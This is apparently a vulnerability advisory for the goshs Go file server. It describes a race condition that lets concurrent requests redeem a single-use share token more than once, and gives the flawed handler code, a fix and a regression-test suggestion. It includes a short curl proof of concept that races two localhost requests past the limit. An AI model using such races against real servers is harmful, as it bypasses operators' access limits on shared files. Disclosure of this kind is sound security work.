goshs: Share-link ?token=… redemption races past download limit
Share-link ?token=… redemption races past download limit
Ecosystem: Go
Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs)
Affected: <= v2.0.9 (every release that shipped the share-link feature)
Summary
ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.
Details
httpserver/handler.go:968-1018:
fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock() // <-- released hereif entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
// ...serve file... // <-- whole transfer happens unlocked
}
fs.sharedLinksMu.Lock() // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()
Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.
Proof of concept
goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txtoperator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
observed: 200 / 200 (both succeed) -> limit=1 redeemed twice
Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.
Impact
A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.
Suggested fix
Reserve under the write lock *before* serving — refund only if the serve fails:
fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
(entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
delete(fs.SharedLinks, token)
} else {
fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.
Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.